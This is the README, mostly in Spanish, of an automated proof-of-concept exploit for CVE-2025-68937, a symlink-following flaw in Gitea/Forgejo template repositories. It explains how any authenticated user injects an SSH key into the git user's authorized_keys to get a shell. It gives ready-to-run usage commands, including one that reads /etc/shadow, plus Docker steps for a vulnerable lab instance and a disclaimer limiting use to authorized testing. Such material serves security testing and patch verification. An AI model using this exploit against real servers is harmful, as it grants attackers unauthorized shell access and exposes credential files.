
Automated PoC exploit for CVE-2025-68937 — Gitea/Forgejo Template Symlink RCE. Any authenticated user can get a shell as the git service user.
Prueba de concepto automatizada para CVE-2025-68937: salto de directorio mediante el seguimiento de enlaces simbólicos en el procesamiento de repositorios plantilla de Gitea y Forgejo, que conduce a la ejecución remota de código.
Cualquier usuario autenticado (sin necesidad de ser administrador) puede obtener una shell como el usuario de servicio git.
Al generar un nuevo repositorio a partir de una plantilla, Gitea/Forgejo copia los archivos de la plantilla y expande variables como ${REPO_DESCRIPTION} en los archivos listados en .gitea/template. Este proceso sigue los enlaces simbólicos sin validación, lo que permite a un atacante leer y escribir archivos arbitrarios en el servidor.
| Detalle | Valor |
|---|---|
| CVE | CVE-2025-68937 |
| CVSS 4.0 | 9.5 Crítico |
| CWE | CWE-61 (UNIX Symbolic Link Following) |
| Autenticación requerida | Sí (cualquier usuario) |
| Administrador requerido | No |
| Software | Afectadas | Corregidas |
|---|---|---|
| Gitea | >= 1.11.0-rc1, <= 1.24.6 | 1.24.7 |
| Forgejo | <= 11.0.6 | 11.0.7 |
| Forgejo | >= 12.0.0, <= 13.0.1 | 13.0.2 |
Gitea Server
+---------------------+
1. Register SSH | authorized_keys: |
key with | command="gitea |
${REPO_DESC} | serv..." ssh-ed... |
as comment | ${REPO_DESCRIPTION}|
+---------------------+
|
2. Template repo | symlink
authorized_keys --------->+ follows
-> /data/git/.ssh/ |
authorized_keys |
v
3. Create child +---------------------+
repo with | authorized_keys: |
attacker key | command="gitea |
in description | serv..." ssh-ed... |
| <attacker SSH key> | <-- injected!
+---------------------+
|
4. SSH as git $ ssh -i key git@host
(unrestricted) uid=0(git) ...
${REPO_DESCRIPTION}, una variable de plantilla que Gitea expande.gitea/template que liste authorized_keys para la expansión de variablesauthorized_keys que apunte al archivo authorized_keys real del usuario gitauthorized_keys real (que contiene nuestra clave registrada con ${REPO_DESCRIPTION} en el comentario), expande la variable a la descripción del hijo (nuestra clave SSH) y escribe el resultado de vuelta a través del symlinkgit con la clave inyectada (sin restricción command=)pip install requests
# Against Docker Gitea (git home defaults to /data/git)
python3 exploit.py -u http://localhost:3000 -U myuser -P mypassword --ssh-port 2222
# Against package/binary install (git home is /home/git)
python3 exploit.py -u http://gitea.example.com:3000 -U user -P pass --git-home /home/git
# Execute a command after getting shell
python3 exploit.py -u http://target:3000 -U user -P pass --command "cat /etc/shadow"
# Cleanup (removes repos and injected SSH keys)
python3 exploit.py -u http://target:3000 -U user -P pass --cleanup
Levanta una instancia vulnerable:
docker run -d --name gitea-vuln \
-p 3000:3000 -p 2222:22 \
-e USER_UID=1000 -e USER_GID=1000 \
gitea/gitea:1.24.6
http://localhost:3000 y completa el asistente de instalación (SQLite funciona bien)python3 exploit.py -u http://localhost:3000 -U youruser -P yourpass --ssh-port 2222
requestsgit y ssh-keygen en el PATHEsta herramienta es solo para pruebas de seguridad autorizadas y fines educativos. Úsala únicamente contra sistemas que poseas o para los que tengas permiso escrito explícito para probar. El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el mal uso.
| Flag | Por defecto | Descripción |
|---|
-u, --url | requerido | URL base de Gitea/Forgejo |
-U, --user | requerido | Nombre de usuario |
-P, --password | requerido | Contraseña |
--git-home | /data/git | Directorio home del usuario git en el objetivo |
--ssh-host | de --url | Host SSH al que conectarse |
--ssh-port | 22 | Puerto SSH de Gitea |
--timeout | 30 | Segundos de espera para SSH |
--command | interactivo | Comando a ejecutar tras obtener la shell |
--cleanup | - | Elimina los artefactos del exploit |